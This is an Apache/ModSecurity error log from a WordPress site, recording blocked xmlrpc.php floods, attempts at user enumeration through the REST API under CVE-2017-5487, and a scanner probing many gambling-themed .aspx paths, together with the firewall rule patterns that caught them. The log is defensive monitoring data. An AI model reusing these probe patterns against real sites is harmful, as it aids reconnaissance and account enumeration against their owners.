[Mon May 18 00:32:33.410279 2026] [:error] [pid 10835:tid 10876] [client 34.121.14.165:60994] [client 34.121.14.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.121.14.165, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agntoUk8lW0-dtknLl9AdgAAAgM"]
[Mon May 18 00:32:33.410486 2026] [:error] [pid 10835:tid 10876] [client 34.121.14.165:60994] [client 34.121.14.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.121.14.165, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agntoUk8lW0-dtknLl9AdgAAAgM"]
[Mon May 18 00:33:11.518247 2026] [:error] [pid 10784:tid 10799] [client 104.197.171.44:65213] [client 104.197.171.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.197.171.44, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agntx2BWRlKsFkSZGxBZPgAAAYA"]
[Mon May 18 00:33:14.888326 2026] [:error] [pid 10784:tid 10813] [client 104.197.171.44:65213] [client 104.197.171.44] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "agntymBWRlKsFkSZGxBZQgAAAY4"]
[Mon May 18 00:33:15.086722 2026] [:error] [pid 10784:tid 10820] [client 104.197.171.44:65213] [client 104.197.171.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.197.171.44, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agnty2BWRlKsFkSZGxBZQwAAAZQ"]
[Mon May 18 00:33:16.929054 2026] [:error] [pid 59061:tid 59100] [client 104.197.171.44:53077] [client 104.197.171.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.197.171.44, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agntzIYS410zAmsYkoI51gAAAEQ"]
[Mon May 18 00:33:18.648158 2026] [:error] [pid 10835:tid 10896] [client 104.197.171.44:49212] [client 104.197.171.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.197.171.44, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agntzkk8lW0-dtknLl9AqgAAAhc"]
[Mon May 18 00:33:20.401060 2026] [:error] [pid 10835:tid 10882] [client 104.197.171.44:63454] [client 104.197.171.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.197.171.44, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agnt0Ek8lW0-dtknLl9AtAAAAgk"]
[Mon May 18 00:33:22.164868 2026] [:error] [pid 59062:tid 59134] [client 104.197.171.44:49377] [client 104.197.171.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.197.171.44, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agnt0j4V9GkVWmCFmGZPKQAAAIs"]
[Mon May 18 00:33:22.165050 2026] [:error] [pid 59062:tid 59134] [client 104.197.171.44:49377] [client 104.197.171.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 104.197.171.44, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agnt0j4V9GkVWmCFmGZPKQAAAIs"]
[Mon May 18 00:42:54.062611 2026] [:error] [pid 10834:tid 10851] [client 34.44.75.243:61156] [client 34.44.75.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.44.75.243, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agnwDhISNQ_Nf83-VprC0wAAAcU"]
[Mon May 18 00:42:57.109806 2026] [:error] [pid 10834:tid 10865] [client 34.44.75.243:61156] [client 34.44.75.243] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "agnwERISNQ_Nf83-VprC1gAAAdM"]
[Mon May 18 00:42:57.309226 2026] [:error] [pid 10834:tid 10868] [client 34.44.75.243:61156] [client 34.44.75.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.44.75.243, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agnwERISNQ_Nf83-VprC1wAAAdY"]
[Mon May 18 00:42:59.043885 2026] [:error] [pid 59061:tid 59117] [client 34.44.75.243:61930] [client 34.44.75.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.44.75.243, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agnwE4YS410zAmsYkoI6NgAAAFU"]
[Mon May 18 00:43:00.748750 2026] [:error] [pid 59061:tid 59096] [client 34.44.75.243:60592] [client 34.44.75.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.44.75.243, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agnwFIYS410zAmsYkoI6NwAAAEA"]
[Mon May 18 00:43:02.548451 2026] [:error] [pid 59060:tid 59091] [client 34.44.75.243:50534] [client 34.44.75.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.44.75.243, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agnwFvvwvq3bndkPE4kARwAAABY"]
[Mon May 18 00:43:04.296675 2026] [:error] [pid 11079:tid 11113] [client 34.44.75.243:60818] [client 34.44.75.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.44.75.243, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agnwGGeR3-DrxhvUqxEZbQAAAkk"]
[Mon May 18 00:43:04.296817 2026] [:error] [pid 11079:tid 11113] [client 34.44.75.243:60818] [client 34.44.75.243] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.44.75.243, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agnwGGeR3-DrxhvUqxEZbQAAAkk"]
[Mon May 18 03:23:25.657110 2026] [autoindex:error] [pid 10784:tid 10800] [client 194.163.172.80:65350] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon May 18 05:33:57.439883 2026] [:error] [pid 20778:tid 20835] [client 43.134.36.238:47910] [client 43.134.36.238] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ago0RWb9K2_TPGoCpArySAAAAFE"]
[Mon May 18 07:39:36.026395 2026] [:error] [pid 63115:tid 63118] [client 74.7.243.30:56650] [client 74.7.243.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.243.30, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agpRuOz_ApFcYdejvGcBVgAAAQE"], referer: https://vetstars.com.au/
[Mon May 18 07:53:08.584190 2026] [:error] [pid 48687:tid 48737] [client 43.130.16.212:51572] [client 43.130.16.212] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agpU5DcdaF2jmdvMWAoamgAAAdQ"]
[Mon May 18 11:10:32.399920 2026] [:error] [pid 36493:tid 36572] [client 119.91.20.139:60794] [client 119.91.20.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agqDKAynkzQB5nM668qQZgAAARc"]
[Mon May 18 13:56:24.205612 2026] [:error] [pid 43916:tid 43926] [client 43.165.4.2:34578] [client 43.165.4.2] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agqqCNQC236p33zJJvm4AgAAAII"]
[Mon May 18 15:02:04.390657 2026] [:error] [pid 36493:tid 36572] [client 193.70.44.235:35674] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "agq5bAynkzQB5nM668qqgAAAARc"]
[Mon May 18 15:02:06.892140 2026] [:error] [pid 36493:tid 36560] [client 193.70.44.235:35784] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "agq5bgynkzQB5nM668qqgQAAAQs"]
[Mon May 18 15:02:09.395102 2026] [:error] [pid 44010:tid 44035] [client 193.70.44.235:35786] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "agq5cTcFUuogD3-74-ZnrAAAANc"]
[Mon May 18 15:02:11.833045 2026] [:error] [pid 44046:tid 44057] [client 193.70.44.235:37512] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "agq5c4YF4k2jfXJBXk3mMwAAAYk"]
[Mon May 18 15:02:14.278818 2026] [:error] [pid 36492:tid 36524] [client 193.70.44.235:37524] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "agq5dmCVlogrkn9m2w6jnwAAAAI"]
[Mon May 18 15:02:16.839509 2026] [:error] [pid 36492:tid 36540] [client 193.70.44.235:37540] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "agq5eGCVlogrkn9m2w6joAAAABI"]
[Mon May 18 15:02:19.151869 2026] [:error] [pid 44010:tid 44012] [client 193.70.44.235:37546] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "agq5ezcFUuogD3-74-ZnrgAAAMA"]
[Mon May 18 15:02:21.485903 2026] [:error] [pid 36579:tid 36582] [client 193.70.44.235:37548] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "agq5fV-aoZxBfgL5vDxtOwAAAEA"]
[Mon May 18 15:02:23.785841 2026] [:error] [pid 36492:tid 36535] [client 193.70.44.235:33440] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "agq5f2CVlogrkn9m2w6jqQAAAA0"]
[Mon May 18 15:02:26.081982 2026] [:error] [pid 36579:tid 36598] [client 193.70.44.235:33450] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "agq5gl-aoZxBfgL5vDxtPQAAAFA"]
[Mon May 18 15:02:28.442915 2026] [:error] [pid 44046:tid 44072] [client 193.70.44.235:33456] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "agq5hIYF4k2jfXJBXk3mNQAAAZg"]
[Mon May 18 15:02:30.851712 2026] [:error] [pid 36491:tid 36518] [client 193.70.44.235:33464] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "agq5hk555B9CZb6D60mcqgAAAVc"]
[Mon May 18 15:02:33.279066 2026] [:error] [pid 36493:tid 36556] [client 193.70.44.235:58978] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "agq5iQynkzQB5nM668qqiAAAAQc"]
[Mon May 18 15:02:35.546952 2026] [:error] [pid 36492:tid 36533] [client 193.70.44.235:58988] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "agq5i2CVlogrkn9m2w6jtAAAAAs"]
[Mon May 18 15:02:37.929925 2026] [:error] [pid 36492:tid 36541] [client 193.70.44.235:58998] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "agq5jWCVlogrkn9m2w6j1QAAABM"]
[Mon May 18 15:02:40.187248 2026] [:error] [pid 36579:tid 36587] [client 193.70.44.235:59000] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "agq5kF-aoZxBfgL5vDxtUgAAAEU"]
[Mon May 18 15:02:42.674777 2026] [:error] [pid 36493:tid 36561] [client 193.70.44.235:48402] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "agq5kgynkzQB5nM668qqkAAAAQw"]
[Mon May 18 15:02:45.092074 2026] [:error] [pid 36492:tid 36523] [client 193.70.44.235:48414] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "agq5lWCVlogrkn9m2w6j7AAAAAE"]
[Mon May 18 15:02:47.596322 2026] [:error] [pid 36492:tid 36522] [client 193.70.44.235:48424] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "agq5l2CVlogrkn9m2w6j9AAAAAA"]
[Mon May 18 15:02:50.019179 2026] [:error] [pid 36491:tid 36517] [client 193.70.44.235:48428] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "agq5mk555B9CZb6D60mddAAAAVY"]
[Mon May 18 15:02:52.392739 2026] [:error] [pid 44010:tid 44029] [client 193.70.44.235:45098] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "agq5nDcFUuogD3-74-ZnxAAAANE"]
[Mon May 18 15:02:54.931752 2026] [:error] [pid 43916:tid 43937] [client 193.70.44.235:45110] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "agq5ntQC236p33zJJvm7kAAAAI0"]
[Mon May 18 15:02:57.206058 2026] [:error] [pid 36492:tid 36533] [client 193.70.44.235:45124] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "agq5oWCVlogrkn9m2w6kEgAAAAs"]
[Mon May 18 15:02:59.626877 2026] [:error] [pid 44046:tid 44071] [client 193.70.44.235:45126] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "agq5o4YF4k2jfXJBXk3mUQAAAZc"]
[Mon May 18 15:03:33.865507 2026] [:error] [pid 36491:tid 36495] [client 193.70.44.235:45648] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "agq5xU555B9CZb6D60mdqQAAAUA"]
[Mon May 18 15:03:36.166380 2026] [:error] [pid 36579:tid 36587] [client 193.70.44.235:55170] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "agq5yF-aoZxBfgL5vDxtqQAAAEU"]
[Mon May 18 15:03:38.666739 2026] [:error] [pid 36492:tid 36546] [client 193.70.44.235:55184] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "agq5ymCVlogrkn9m2w6kOgAAABg"]
[Mon May 18 15:03:41.168193 2026] [:error] [pid 36493:tid 36573] [client 193.70.44.235:55194] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "agq5zQynkzQB5nM668qqsAAAARg"]
[Mon May 18 15:03:43.681445 2026] [:error] [pid 36493:tid 36564] [client 193.70.44.235:45170] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "agq5zwynkzQB5nM668qqsgAAAQ8"]
[Mon May 18 15:03:46.181082 2026] [:error] [pid 36491:tid 36496] [client 193.70.44.235:45178] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "agq50k555B9CZb6D60mdrwAAAUE"]
